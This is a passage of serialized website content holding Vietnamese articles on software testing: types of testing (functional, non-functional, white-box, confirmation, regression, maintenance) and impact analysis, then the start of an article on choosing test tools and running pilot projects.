THỬ",{"type":8,"value":4321,"toc":4754},[4322,4325,4331,4334,4339,4342,4345,4350,4353,4358,4361,4366,4369,4374,4377,4383,4386,4391,4394,4399,4402,4407,4410,4415,4418,4423,4426,4431,4434,4439,4442,4447,4450,4455,4458,4463,4466,4471,4474,4479,4482,4487,4490,4496,4499,4503,4506,4510,4513,4518,4521,4526,4529,4534,4537,4548,4554,4557,4568,4571,4574,4582,4585,4590,4593,4596,4601,4604,4607,4610,4615,4618,4621,4629,4632,4635,4638,4641,4652,4657,4662,4665,4670,4673,4678,4681,4686,4689,4692,4697,4700,4708,4711,4714,4717,4720,4723,4743,4748],[11,4323,4324],{},"Các loại kiểm thử thay đổi tùy theo mục đích và không chỉ đánh giá chất lượng chức năng (mức độ hoàn thiện, mức độ chính xác, v.v.) mà còn đánh giá cả chất lượng phi chức năng (mức độ tin cậy, tính dễ sử dụng, v.v.). Ngoài ra, kiểm thử còn được thực hiện để kiểm tra cấu trúc hệ thống, xác nhận phạm vi ảnh hưởng từ các đối ứng sửa lỗi hoặc cập nhật tính năng. Bài viết này sẽ giải thích những khái niệm cơ bản liên quan đến các loại kiểm thử.",[498,4326,4328],{"id":4327},"_1-kiểm-thử-chức-năng",[20,4329,4330],{},"1\u002F Kiểm thử chức năng",[11,4332,4333],{},"“Chức năng” ở đây chỉ “làm gì (what)”, không phải “cách thức hoạt động như thế nào (how)”. Mục tiêu của kiểm thử chức năng là xác minh rằng các chức năng đã được triển khai đúng theo yêu cầu và đặc tả kỹ thuật.",[11,4335,4336],{},[20,4337,4338],{},"Cấp độ kiểm thử",[11,4340,4341],{},"Kiểm thử chức năng có thể được thực hiện với nhiều đối tượng khác nhau, bao gồm toàn bộ hệ thống hoặc hệ thống con được tích hợp từ nhiều thành phần. Kiểm thử chức năng được thực hiện với nhiều cấp độ kiểm thử. Nếu kiểm thử dựa trên đặc tả của thành phần, thì đây sẽ là kiểm thử chức năng ở cấp độ thành phần; còn nếu kiểm thử dựa trên đặc tả của hệ thống (chức năng cung cấp cho người dùng) thì sẽ là kiểm thử chức năng ở cấp độ hệ thống.",[11,4343,4344],{},"Có thể nói, tùy thuộc vào cấp độ kiểm thử mà loại kiểm thử cần được chú trọng sẽ khác nhau. Chẳng hạn ở cấp độ kiểm thử thành phần, kiểm thử chức năng thường được chú trọng, trong khi ở cấp độ kiểm thử hệ thống, kiểm thử phi chức năng lại được chú trọng hơn.",[11,4346,4347],{},[20,4348,4349],{},"Kỹ thuật kiểm thử",[11,4351,4352],{},"Kiểm thử chức năng sử dụng Kiểm thử hộp đen để đánh giá động thái và cử động bên ngoài của phần mềm. Phương pháp này bao gồm kỹ thuật Phân vùng tương đương, Phân tích giá trị biên, Kiểm thử bảng quyết định, Kiểm thử chuyển trạng thái, Kiểm thử trường hợp sử dụng, và nhiều kỹ thuật khác.",[11,4354,4355],{},[20,4356,4357],{},"Độ bao phủ kiểm thử (test coverage)",[11,4359,4360],{},"Độ bao phủ của kiểm thử chức năng được đánh giá bằng mức độ bao phủ các chức năng trong hệ thống. Chỉ số này thể hiện tỷ lệ các chức năng đã được kiểm thử so với tổng thể. Độ bao phủ của kiểm thử chức năng ở cấp độ hệ thống được biểu thị bằng tỷ lệ các yêu cầu chức năng đã thực hiện.",[11,4362,4363],{},[20,4364,4365],{},"Vấn đề về nghiệp vụ khi phát triển phần mềm",[11,4367,4368],{},"Lấy ví dụ từ việc khảo sát dầu mỏ, các dữ liệu đo lường được sử dụng để suy đoán khả năng tồn tại của dầu trong lòng đất. Kết quả của sự suy đoán này được gọi là mô hình địa chất, và để phát triển phần mềm tạo ra mô hình địa chất này  cần có kiến thức về cơ chế kinh doanh trong ngành thăm dò dầu mỏ và phát triển mỏ dầu.",[11,4370,4371],{},[20,4372,4373],{},"Vai trò của phần mềm",[11,4375,4376],{},"Ví dụ, trong các trò chơi điện tử tương tác, máy tính đảm nhận vai trò của một trò chơi bàn cờ mà thông thường con người chơi với nhau, cho phép dù chỉ một người cũng có thể chơi. Hơn nữa, máy tính còn có thể giao tiếp với người chơi và phản hồi, và vì cuộc trò chuyện này có thể ảnh hưởng đến tiến độ của trò chơi nên cần phải có các phản hồi phù hợp. Do đó, khi tiến hành kiểm thử, việc hiểu rõ kịch bản của trò chơi và nội dung trò chuyện thích hợp để người chơi có thể thưởng thức trò chơi là rất quan trọng.",[498,4378,4380],{"id":4379},"_2-kiểm-thử-phi-chức-năng",[20,4381,4382],{},"2\u002F Kiểm thử phi chức năng",[11,4384,4385],{},"“Phi chức năng” đề cập đến các yếu tố ngoài “chức năng”. Nói cách khác, phi chức năng liên quan đến \"cách thức hoạt động như thế nào (how)\" thay vì \"làm gì (what)\". Mục đích của kiểm thử phi chức năng là đánh giá các đặc tính của các thành phần hoặc hệ thống, chẳng hạn như hiệu suất, tính dễ sử dụng, bảo mật và các thuộc tính chất lượng khác.",[11,4387,4388],{},[20,4389,4390],{},"Ví dụ về các loại kiểm thử",[11,4392,4393],{},"Kiểm thử phi chức năng bao gồm nhiều loại kiểm thử khác nhau. Ví dụ như kiểm thử hiệu suất (performance test), kiểm thử tải (load test), kiểm thử căng thẳng (stress test), kiểm thử khả năng sử dụng (usability test), kiểm thử khả năng tương tác (interoperability test), kiểm thử tính bảo trì (maintainability test), kiểm thử độ tin cậy (reliability test), kiểm thử tính di động (portability test) và nhiều loại kiểm thử khác.",[11,4395,4396],{},[20,4397,4398],{},"Kiểm thử hiệu suất (performance test)",[11,4400,4401],{},"Đây là kiểm thử để đánh giá hiệu suất của phần mềm.",[11,4403,4404],{},[20,4405,4406],{},"Kiểm thử tải (load test)",[11,4408,4409],{},"Đây là một loại kiểm thử hiệu suất, đánh giá cách các thành phần hoặc hệ thống hoạt động dưới các tình huống tải khác nhau. Thông thường, kiểm thử được thực hiện dựa trên các mức tải dự kiến, bao gồm tải tối thiểu, tải bình thường và tải tối đa.",[11,4411,4412],{},[20,4413,4414],{},"Kiểm thử căng thẳng (stress test)",[11,4416,4417],{},"Đây một loại kiểm thử hiệu suất, đánh giá cách hệ thống hoặc thành phần hoạt động khi chịu tải vượt quá mức dự kiến, hoặc khi thiếu tài nguyên như bộ nhớ và máy chủ.",[11,4419,4420],{},[20,4421,4422],{},"Kiểm thử khả năng sử dụng (usability test)",[11,4424,4425],{},"Đây là loại kiểm thử được thực hiện để đo lường tính hiệu quả, hiệu suất và sự hài lòng của người dùng khi sử dụng hệ thống trong các tình huống cụ thể.",[11,4427,4428],{},[20,4429,4430],{},"Kiểm thử khả năng tương tác (interoperability test)",[11,4432,4433],{},"Đây là loại kiểm thử được thực hiện để xác nhận xem các thành phần hoặc hệ thống khác nhau có thể trao đổi thông tin và tương tác lẫn nhau hay không.",[11,4435,4436],{},[20,4437,4438],{},"Kiểm thử tính bảo trì (maintainability test)",[11,4440,4441],{},"Đây là loại kiểm thử được thực hiện để đo lường mức độ dễ dàng mà phần mềm có thể được sửa chữa hoặc thay đổi bởi những người bảo trì được chỉ định.",[11,4443,4444],{},[20,4445,4446],{},"Kiểm thử độ tin cậy (reliability test)",[11,4448,4449],{},"Đây là loại kiểm thử được thực hiện để xác nhận xem các thành phần hoặc hệ thống có thể thực thi các chức năng yêu cầu một cách ổn định dưới các điều kiện đã định hay không.",[11,4451,4452],{},[20,4453,4454],{},"Kiểm thử tính di động (portability test)",[11,4456,4457],{},"Đây là kiểm thử được thực hiện để đánh giá xem phần mềm có thể chuyển giao một cách mượt mà giữa các môi trường khác nhau hay không. Các môi trường ở đây bao gồm sự khác biệt về phần cứng, phần mềm hoặc tổ chức.",[11,4459,4460],{},[20,4461,4462],{},"Kiểm thử bảo mật (security test)",[11,4464,4465],{},"Đây là kiểm thử được thực hiện để xác nhận xem hệ thống và dữ liệu có được bảo vệ đúng cách trong phạm vi quyền hạn được phép và việc truy cập vào dữ liệu có được kiểm soát một cách thích hợp hay không.",[11,4467,4468],{},[20,4469,4470],{},"Phương pháp kiểm thử",[11,4472,4473],{},"Trong kiểm tra phi chức năng, các kỹ thuật kiểm thử hộp đen có thể được áp dụng. Ví dụ, khi thiết lập các điều kiện căng thẳng (stress condition) trong kiểm tra hiệu suất, phương pháp Phân tích giá trị biên có thể được sử dụng.",[11,4475,4476],{},[20,4477,4478],{},"Độ bao phủ kiểm thử",[11,4480,4481],{},"Độ bao phủ trong kiểm tra phi chức năng được đánh giá dựa trên mức độ bao quát các yếu tố phi chức năng. Ví dụ, khi thực hiện kiểm tra phi chức năng cho ứng dụng di động, như kiểm tra tính tương thích của thiết bị, độ bao phủ được đo lường bằng tỷ lệ các thiết bị đã được thử nghiệm so với tổng số thiết bị được định nghĩa.",[11,4483,4484],{},[20,4485,4486],{},"Kiến thức đặc thù của người dùng",[11,4488,4489],{},"Ví dụ, trong hệ thống hồ sơ y tế điện tử được sử dụng tại các cơ sở y tế, cần quản lý an toàn thông tin cá nhân của bệnh nhân. Khi nhiều y tá và bác sĩ sử dụng, cần đảm bảo cơ chế ngăn chặn việc truy cập trái phép vào thông tin cá nhân. Do đó, việc kiểm tra dựa trên tình huống sử dụng và thời điểm cụ thể là rất cần thiết.",[498,4491,4493],{"id":4492},"_3-kiểm-thử-hộp-trắng-white-box-test",[20,4494,4495],{},"3\u002F Kiểm thử hộp trắng (white box test)",[11,4497,4498],{},"Kiểm thử hộp trắng là phương pháp kiểm thử thiết kế các trường hợp kiểm thử dựa trên cấu trúc nội bộ hoặc cách triển khai của hệ thống. Mục đích của kiểm thử này là đảm bảo rằng cấu trúc của các thành phần hoặc hệ thống là chính xác, đầy đủ và tuân thủ theo các đặc tả đã định.",[11,4500,4501],{},[20,4502,4349],{},[11,4504,4505],{},"Kiểm thử hộp trắng là phương pháp kiểm thử nhằm xác định mức độ bao phủ của cấu trúc phần mềm thông qua các trường hợp kiểm thử. Để thực hiện điều này, các kỹ thuật thuộc nhóm kiểm thử hộp trắng được áp dụng.",[11,4507,4508],{},[20,4509,4478],{},[11,4511,4512],{},"Độ bao phủ của kiểm thử hộp trắng được đánh giá dựa trên mức độ bao quát của các yếu tố cấu trúc (còn gọi là độ bao phủ cấu trúc). Trong kiểm thử thành phần hoặc kiểm thử tích hợp thành phần, các công cụ được sử dụng để đo lường độ bao phủ của mã nguồn. Ngược lại, trong kiểm thử hệ thống hoặc kiểm thử chấp nhận, độ bao phủ thường được đo lường dựa trên cấu trúc menu hoặc mô hình kinh doanh.",[11,4514,4515],{},[20,4516,4517],{},"Ví dụ về kiểm thử thành phần",[11,4519,4520],{},"Trong kiểm thử thành phần, chỉ số độ bao phủ mã nguồn được sử dụng làm tiêu chí đánh giá. Chỉ số này đo lường mức độ bao quát kiểm thử dựa trên tỷ lệ các câu lệnh trong thành phần được thực thi.",[11,4522,4523],{},[20,4524,4525],{},"Ví dụ về kiểm thử tích hợp thành phần",[11,4527,4528],{},"Trong kiểm thử tích hợp thành phần, các giao diện giữa các thành phần được coi là yếu tố cấu trúc. Độ bao phủ được đo lường dựa trên tỷ lệ các giao diện đã được kiểm thử so với tổng số giao diện.",[11,4530,4531],{},[20,4532,4533],{},"Kiến thức cần thiết",[11,4535,4536],{},"Việc thiết kế và thực hiện kiểm thử hộp trắng yêu cầu một số kỹ năng chuyên môn và kiến thức nhất định, bao gồm:",[31,4538,4539,4542,4545],{},[34,4540,4541],{},"Cách xây dựng mã nguồn: Ví dụ, khi sử dụng công cụ đo độ bao phủ mã nguồn, cần nắm rõ cấu trúc các tệp mã nguồn và quy trình xây dựng (build) mã.",[34,4543,4544],{},"Cách lưu trữ dữ liệu: Hiểu rõ cách bố trí lược đồ vật lý, từ đó có thể đánh giá được các truy vấn cơ sở dữ liệu có thể thực hiện.",[34,4546,4547],{},"Sử dụng công cụ đo độ bao phủ và phân tích kết quả: Cần biết cách sử dụng công cụ một cách phù hợp và có kỹ năng để giải thích chính xác kết quả được tạo ra.",[498,4549,4551],{"id":4550},"_4-kiểm-thử-phần-thay-đổi",[20,4552,4553],{},"4\u002F Kiểm thử phần thay đổi",[11,4555,4556],{},"Đây là loại kiểm thử theo góc nhìn khác so với trước đây. Khi tiến hành kiểm thử và phát hiện lỗi, cần thực hiện kiểm thử lại sau khi đã sửa lỗi. Tương tự, khi thêm hoặc thay đổi chức năng dẫn đến việc hệ thống được cập nhật, cần tiến hành lại các kiểm thử trước đó. Mục tiêu chính của kiểm thử này như dưới đây:",[31,4558,4559,4562,4565],{},[34,4560,4561],{},"Đảm bảo lỗi đã được sửa chữa triệt để.",[34,4563,4564],{},"Xác nhận các chức năng hoạt động chính xác.",[34,4566,4567],{},"Kiểm tra xem có ảnh hưởng ngoài dự kiến hay không.",[11,4569,4570],{},"Trong các mô hình Phát triển lặp lại (Iterative Development) hoặc Phát triển tăng dần (Incremental Development) (trong mô hình Agile), việc thêm mới, chỉnh sửa chức năng hoặc tái cấu trúc mã nguồn (refactoring) diễn ra thường xuyên, khiến kiểm thử các phần thay đổi trở thành một yếu tố không thể thiếu. Ngoài ra, với các hệ thống IoT (Internet of Things), nơi thiết bị thường xuyên được cập nhật hoặc thay thế, kiểm thử này cũng đặc biệt quan trọng.",[11,4572,4573],{},"Kiểm thử phần thay đổi có hai loại chính như sau:",[31,4575,4576,4579],{},[34,4577,4578],{},"Kiểm thử xác nhận (Confirmation Test): Kiểm tra xem lỗi đã được đúng hay chưa.",[34,4580,4581],{},"Kiểm thử hồi quy (Regression Test): Kiểm tra xem có lỗi mới phát sinh hay không và đảm bảo rằng không có ảnh hưởng không mong muốn nào xảy ra.",[11,4583,4584],{},"Vì hệ thống luôn trong quá trình phát triển và thay đổi, cả Kiểm thử xác nhận và Kiểm thử hồi quy đều là những kiểm thử vô cùng quan trọng không thể thiếu.",[11,4586,4587],{},[20,4588,4589],{},"Kiểm thử xác nhận (Confirmation Test)",[11,4591,4592],{},"Kiểm thử xác nhận là loại kiểm thử được thực hiện sau khi sửa lỗi, nhằm đảm bảo rằng sự cố do lỗi đó gây ra không còn tái diễn.",[11,4594,4595],{},"Trong kiểm thử xác nhận, phần code đã được sửa sẽ được chạy lại để xác nhận rằng lỗi đã được sửa. Trong một số trường hợp, các trường hợp kiểm thử mới có thể được thêm vào và thực hiện. Tuy nhiên, cần lưu ý không nhầm lẫn kiểm thử xác nhận với quá trình gỡ lỗi (debugging) trong hoạt động phát triển.",[11,4597,4598],{},[20,4599,4600],{},"Kiểm thử hồi quy (Regression Test)",[11,4602,4603],{},"Kiểm thử hồi quy là một loại kiểm thử được thực hiện lặp lại trên phần mềm đã được kiểm tra trước đó. Mục đích của kiểm thử hồi quy là phát hiện các lỗi mới hoặc các vấn đề phát sinh do sửa lỗi, hoặc các ảnh hưởng không mong muốn phát sinh từ thay đổi đó.",[11,4605,4606],{},"Lỗi không chỉ có thể ảnh hưởng đến các thành phần đã sửa mà còn có thể ảnh hưởng đến các thành phần liên quan khác. Vì vậy, trong kiểm thử hồi quy, việc thiết lập phạm vi kiểm thử là rất quan trọng. Quyết định phạm vi kiểm thử cần xem xét rủi ro của phần mềm khi có lỗi trong các thành phần đã hoạt động (rủi ro sản phẩm).",[11,4608,4609],{},"Ngoài ra, nếu môi trường vận hành của phần mềm thay đổi, hoặc khi chuyển sang hệ điều hành mới hoặc hệ quản trị cơ sở dữ liệu khác, kiểm thử hồi quy cũng cần được thực hiện. Để có thể nhanh chóng thực hiện kiểm thử bất kỳ lúc nào, việc chuẩn bị một bộ kiểm thử phù hợp là điều cần thiết.",[11,4611,4612],{},[20,4613,4614],{},"Kiểm thử bảo trì",[11,4616,4617],{},"Sau khi phát triển phần mềm hoặc hệ thống hoàn tất và được phát hành hoặc triển khai vào môi trường sản xuất, việc bảo trì là cần thiết. Phần mềm và hệ thống có thể được sử dụng trong một khoảng thời gian dài, từ vài năm đến thậm chí vài chục năm, trong suốt thời gian đó, các tính năng có thể được thêm mới, thay đổi, hoặc xóa bỏ. Ngoài ra, cần có các sửa đổi để thích ứng với sự thay đổi của môi trường hoạt động. Mặc dù đã thực hiện kiểm thử kỹ lưỡng trong quá trình phát triển, nhưng vẫn có thể phát hiện lỗi sau khi phát hành, và việc sửa chữa chúng cũng sẽ được yêu cầu. Do đó, trong suốt thời gian bảo trì, sẽ có rất nhiều thay đổi diễn ra.",[11,4619,4620],{},"Kiểm thử bảo trì (Maintenance Test) được thực hiện để đối ứng với những thay đổi này. Mục đích chính của kiểm thử bảo trì là:",[31,4622,4623,4626],{},[34,4624,4625],{},"Xác nhận rằng các thay đổi đã được phản ánh đúng.",[34,4627,4628],{},"Kiểm tra rằng không có ảnh hưởng không mong muốn (regression) đối với các phần không thay đổi của hệ thống.",[11,4630,4631],{},"Trong suốt thời gian bảo trì, phần mềm sẽ trải qua nhiều lần cập nhật phiên bản hoặc bản sửa lỗi. Điều này bao gồm cả các bản phát hành có kế hoạch thêm tính năng và các bản phát hành khẩn cấp để sửa lỗi. Kiểm thử bảo trì là không thể thiếu trong tất cả các lần phát hành này.",[11,4633,4634],{},"Trong kiểm thử bảo trì, không chỉ kiểm thử chức năng mà cả kiểm thử phi chức năng cũng cần được thực hiện. Ví dụ, khi có thay đổi để cải thiện hiệu suất, ngoài việc thực hiện kiểm thử hiệu suất, điều quan trọng là phải xác nhận rằng các thay đổi không làm giảm hiệu suất của hệ thống. Mặc dù không cần thực hiện tất cả các loại kiểm thử trong mọi trường hợp, nhưng cần phải cân nhắc các đặc tính chất lượng nào có thể bị ảnh hưởng và chọn loại kiểm thử phù hợp.",[11,4636,4637],{},"Ngoài ra, việc kết hợp nhiều cấp độ kiểm thử cũng là điều cần thiết. Dù chỉ sửa đổi một phần nhỏ của mã nguồn, nhưng vẫn cần phải thực hiện kiểm thử thành phần (component testing), kiểm thử tích hợp (integration testing) để xác nhận giao diện của mã nguồn sửa đổi với các mã nguồn khác, và kiểm thử hệ thống (system testing) để đảm bảo toàn bộ hệ thống hoạt động đúng. Đánh giá phạm vi ảnh hưởng của thay đổi và xác định cấp độ kiểm thử cần thiết là rất quan trọng.",[11,4639,4640],{},"Dưới đây là các yếu tố chính khi xác định phạm vi kiểm thử trong kiểm thử bảo trì:",[31,4642,4643,4646,4649],{},[34,4644,4645],{},"Mức độ rủi ro của thay đổi: Nếu phần thay đổi có nhiều tham chiếu hoặc nối kết dữ liệu với các thành phần hoặc hệ thống khác, yêu cầu kiểm thử sẽ cao hơn.",[34,4647,4648],{},"Quy mô của hệ thống hiện tại: Hệ thống càng lớn, phạm vi kiểm thử có thể càng rộng.",[34,4650,4651],{},"Quy mô của sự thay đổi: Nếu phạm vi sửa đổi rộng, nội dung kiểm thử sẽ nhiều hơn.",[11,4653,4654],{},[20,4655,4656],{},"Các trường hợp cần kiểm thử bảo trì",[11,4658,4659],{},[20,4660,4661],{},"Khi có sự thay đổi phần mềm",[11,4663,4664],{},"Khi phần mềm được thay đổi, chẳng hạn như mở rộng tính năng, thay đổi yêu cầu hoặc sửa lỗi, cần kiểm tra xem các thay đổi này có được phản ánh chính xác hay không.",[11,4666,4667],{},[20,4668,4669],{},"Khi có thay đổi trong môi trường vận hành",[11,4671,4672],{},"Nếu phần mềm không thay đổi nhưng có thay đổi về hệ điều hành, cơ sở dữ liệu, phần mềm thương mại (COTS) như nâng cấp phiên bản hoặc áp dụng bản vá, cần kiểm tra hoạt động của phần mềm trong môi trường mới.",[11,4674,4675],{},[20,4676,4677],{},"Khi chuyển đổi sang môi trường mới",[11,4679,4680],{},"Khi chuyển phần mềm sang nền tảng khác, cần kiểm tra xem phần mềm có hoạt động chính xác trong môi trường mới không. Nếu di chuyển dữ liệu từ các ứng dụng khác, cần kiểm tra việc chuyển đổi dữ liệu có chính xác hay không.",[11,4682,4683],{},[20,4684,4685],{},"Khi phần mềm bị loại bỏ",[11,4687,4688],{},"Khi ngừng sử dụng phần mềm, nếu cần lưu trữ dữ liệu đã sử dụng, phải kiểm tra quá trình chuyển dữ liệu và lưu trữ. Cũng cần kiểm tra rằng dữ liệu được liệt kê chính xác và có thể truy xuất khi cần thiết.",[11,4690,4691],{},"Trong các hệ thống IoT, nơi nhiều phần mềm, thiết bị và dịch vụ tương tác với nhau, kiểm thử bảo trì trở nên rất quan trọng và phức tạp. Khi thay đổi hoặc thêm mới thiết bị và phần mềm trong hệ thống hiện có, cần thực hiện kiểm thử tích hợp để đảm bảo mọi thứ hoạt động liền mạch. Hơn nữa, nếu hệ thống xử lý dữ liệu cá nhân, cần phải kiểm tra nghiêm ngặt để đảm bảo không có vi phạm hoặc rò rỉ dữ liệu khi các yếu tố mới được tích hợp vào hệ thống.",[11,4693,4694],{},[20,4695,4696],{},"Phân tích phạm vi ảnh hưởng khi bảo trì",[11,4698,4699],{},"Khi thực hiện các công việc bảo trì đã được đề cập ở phần trước và phát hành phần mềm hoặc hệ thống, cần phải điều tra ảnh hưởng của từng xử lý (cập nhật, thêm mới, xóa, v.v.) có thể phát sinh. Quá trình khảo sát này được gọi là \"phân tích phạm vi ảnh hưởng\". Hai vấn đề đặc biệt khó khăn trong phân tích phạm vi ảnh hưởng chính là:",[31,4701,4702,4705],{},[34,4703,4704],{},"Tác dụng phụ do thay đổi (Regression)",[34,4706,4707],{},"Xác định các vùng trong hệ thống bị ảnh hưởng bởi thay đổi",[11,4709,4710],{},"Ảnh hưởng có thể phát sinh ở những vùng không lường trước được, và trong trường hợp đó, nếu không thực hiện kiểm tra hồi quy (regression test), có thể sẽ xảy ra lỗi sau khi phát hành. Vì vậy, việc thực hiện kiểm thử hồi quy đối với phạm vi ảnh hưởng từ thay đổi là cực kỳ quan trọng.",[11,4712,4713],{},"Trong kiểm thử hồi quy, đôi khi chỉ cần thực hiện lại các trường hợp kiểm thử hiện có liên quan đến phạm vi bị ảnh hưởng. Tuy nhiên, tùy thuộc vào nội dung thay đổi, có thể cần phải sửa đổi các trường hợp kiểm thử hiện có hoặc thêm mới trường hợp kiểm thử. Ví dụ, nếu tiến hành thêm đối số mới cho một hàm, các trường hợp kiểm thử hiện có chỉ bao gồm các giá trị đầu vào cho các đối số cũ, do đó cần phải thiết lập giá trị đầu vào phù hợp cho đối số mới. Ngoài ra, nếu đang thực hiện tự động hóa kiểm thử, có thể cần sửa đổi các kịch bản kiểm thử tự động. Để thực hiện kiểm thử hồi quy hiệu quả, điều quan trọng là phải ước lượng chính xác công việc bảo trì trước khi thực hiện.",[11,4715,4716],{},"Mặc dù có thể thực hiện phân tích phạm vi ảnh hưởng sau khi thay đổi, nhưng nếu thực hiện phân tích trước khi thay đổi thì cũng sẽ ước lượng được khối lượng công việc và lập kế hoạch công việc cần thiết. Ngoài ra, việc xác định được mức độ và phạm vi của ảnh hưởng cũng có thể giúp lập trình viên cân nhắc lại phương pháp đối ứng sao cho giảm thiểu được phạm vi ảnh hưởng, điều này giúp công việc trở nên hiệu quả hơn. ",[11,4718,4719],{},"Để thực hiện phân tích phạm vi ảnh hưởng một cách hiệu quả và chính xác, điều quan trọng là phải thiết lập khả năng truy vết giữa các mục phần mềm cần kiểm tra và các phần mềm kiểm tra. Thêm vào đó, cần nâng cao khả năng bảo trì của phần mềm cần kiểm tra. Thông thường, việc duy trì độ kết dính cao giữa các module và giảm độ kết nối giữa chúng, hợp nhất các đoạn mã lặp lại, và thực hiện tái cấu trúc mã (refactoring) để giữ cho cấu trúc mã sạch sẽ là điều được khuyến khích. ",[11,4721,4722],{},"Nếu không thực hiện các biện pháp này, cần lưu ý rằng việc phân tích phạm vi ảnh hưởng sẽ gặp khó khăn trong các trường hợp sau:",[31,4724,4725,4728,4731,4734,4737,4740],{},[34,4726,4727],{},"Đặc tả không được cập nhật hoặc không tồn tại",[34,4729,4730],{},"Các trường hợp kiểm thử không được tài liệu hóa hoặc không phải phiên bản mới nhất",[34,4732,4733],{},"Không có khả năng truy vết hai chiều giữa các trường hợp kiểm thử và tài liệu thiết kế",[34,4735,4736],{},"Công cụ hỗ trợ phân tích phạm vi ảnh hưởng không đầy đủ hoặc không tồn tại",[34,4738,4739],{},"Không có nhân sự có kiến thức về domain hoặc hệ thống",[34,4741,4742],{},"Không cân nhắc khả năng bảo trì phần mềm khi phát triển",[11,4744,4745],{},[20,4746,4747],{},"※Bài test kiểm tra độ hiểu:",[11,4749,4750],{},[58,4751,4752],{"href":4752,"rel":4753},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-6-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":4755},[4756,4757,4758,4759],{"id":4327,"depth":67,"text":4330},{"id":4379,"depth":67,"text":4382},{"id":4492,"depth":67,"text":4495},{"id":4550,"depth":67,"text":4553},"2024-12-31",{},"\u002Fvi\u002Fnews\u002Fcac-loai-kiem-thu",{"title":4319,"description":4324},"vi\u002Fnews\u002Fcac-loai-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F27161540\u002FScreenshot-2024-12-27-161517.png","dkpXa7hQEcbmQFICwpeAthkvyqAux5Y9ffgwgCUV-fc",{"id":4768,"title":4769,"body":4770,"category":356,"created by":70,"date":4953,"description":4954,"extension":72,"meta":4955,"navigation":74,"path":4956,"sections":76,"seo":4957,"stem":4958,"thumbnail":4959,"__hash__":4960},"content_vi\u002Fvi\u002Fnews\u002Fcach-su-dung-hieu-qua-cong-cu-kiem-thu.md","CÁCH SỬ DỤNG HIỆU QUẢ CÔNG CỤ KIỂM THỬ",{"type":8,"value":4771,"toc":4951},[4772,4778,4781,4784,4787,4793,4796,4799,4802,4808,4811,4814,4817,4820,4826,4829,4832,4835,4838,4844,4847,4861,4864,4867,4873,4876,4887,4893,4896,4899,4902,4908,4911,4922,4928,4931,4934,4937,4940,4945],[1800,4773,4775],{"id":4774},"nguyên-tắc-cơ-bản-khi-lựa-chọn-công-cụ-kiểm-thử",[20,4776,4777],{},"Nguyên tắc cơ bản khi lựa chọn công cụ kiểm thử",[11,4779,4780],{},"Trong kiểm thử phần mềm, việc lựa chọn đúng công cụ kiểm thử đóng vai trò then chốt trong việc đảm bảo chất lượng ổn định. Do đó, khi lựa chọn công cụ, cần làm rõ mục đích và yêu cầu sử dụng. Ví dụ, bạn cần xác định rõ rằng mình muốn nâng cao hiệu suất kiểm thử tự động, tăng cường theo dõi lỗi, hay thực hiện kiểm thử hiệu năng. Đồng thời, việc phân tích đặc điểm của hệ thống cần kiểm thử và phạm vi dự án, cũng như định nghĩa các yêu cầu chức năng cần thiết, là điều không thể thiếu.",[11,4782,4783],{},"Tính dễ sử dụng và chi phí học tập cũng là những yếu tố cần được cân nhắc. Bạn nên xem xét liệu công cụ đó có dễ thao tác hay không và mức độ thời gian, chi phí cần để học sử dụng công cụ. Công cụ cần phù hợp với kỹ năng của đội ngũ. Đồng thời, việc kiểm tra khả năng tương thích với các công cụ, hệ thống, hay môi trường hiện có cũng rất quan trọng. Chẳng hạn, khi chọn công cụ kiểm thử tự động, bạn nên kiểm tra xem công cụ đó có hỗ trợ ngôn ngữ lập trình hay framework mà dự án đang sử dụng hay không.",[11,4785,4786],{},"Hơn nữa, cần đánh giá kỹ lưỡng hiệu quả về chi phí. Bạn phải cân nhắc tổng thể các khoản phí như chi phí cấp phép, vận hành, và đào tạo, đồng thời đánh giá liệu lợi ích mang lại có vượt qua các chi phí này hay không. Cuối cùng, mức độ chi tiết của tài liệu hướng dẫn, sự năng động của cộng đồng người dùng, cũng như hệ thống hỗ trợ từ nhà sản xuất hay nhà cung cấp cũng là những tiêu chí quan trọng khi lựa chọn công cụ.",[1800,4788,4790],{"id":4789},"nguyên-tắc-cơ-bản-khi-lựa-chọn-công-cụ-cho-tổ-chức",[20,4791,4792],{},"Nguyên tắc cơ bản khi lựa chọn công cụ cho tổ chức",[11,4794,4795],{},"Khi lựa chọn công cụ ở cấp độ tổ chức, cần xem xét các khía cạnh khác so với khi sử dụng cá nhân. Đầu tiên, cần phối hợp với các bên liên quan trong tổ chức, chẳng hạn như quản lý dự án, kỹ sư kiểm thử, và nhà phát triển, để nắm bắt nhu cầu và kỳ vọng của từng nhóm. Đồng thời, cần xem xét khả năng sử dụng chung công cụ giữa các phòng ban trong tổ chức.",[11,4797,4798],{},"Ngoài ra, việc đánh giá khả năng mở rộng của công cụ là rất quan trọng. Cần đảm bảo rằng công cụ có thể đáp ứng sự phát triển của tổ chức hoặc sự mở rộng quy mô dự án. Ví dụ, công cụ cần hỗ trợ tốt khi số lượng người dùng tăng lên hoặc khi xử lý dữ liệu với quy mô lớn. Bên cạnh đó, cần kiểm tra xem công cụ có đáp ứng các yêu cầu bảo mật của tổ chức hoặc tuân thủ các quy định trong ngành hay không. Đặc biệt, đối với các công cụ dựa trên đám mây, cần đảm bảo các tính năng bảo vệ dữ liệu và xác thực là đủ an toàn.",[11,4800,4801],{},"Khả năng tùy chỉnh công cụ để phù hợp với các quy trình và yêu cầu đặc thù của tổ chức cũng là một yếu tố cần được đánh giá. Đồng thời, cần xem xét liệu việc áp dụng công cụ có phù hợp với chiến lược và tầm nhìn của tổ chức hay không. Việc lựa chọn công cụ không chỉ nên đáp ứng các nhu cầu ngắn hạn mà còn phải có khả năng sử dụng lâu dài trong tương lai.",[1800,4803,4805],{"id":4804},"dự-án-thí-điểm-để-triển-khai-công-cụ-kiểm-thử-trong-tổ-chức",[20,4806,4807],{},"Dự án thí điểm để triển khai công cụ kiểm thử trong tổ chức",[11,4809,4810],{},"Việc triển khai một dự án thử nghiệm khi đưa vào sử dụng công cụ kiểm thử mới trong tổ chức là một cách hiệu quả. Đầu tiên, hãy lựa chọn một dự án có quy mô và phạm vi phù hợp cho dự án thử nghiệm. Dự án này cần có các yêu cầu và thách thức phù hợp để thử nghiệm các tính năng của công cụ kiểm thử. Sau đó, lập kế hoạch rõ ràng về mục đích sử dụng công cụ, 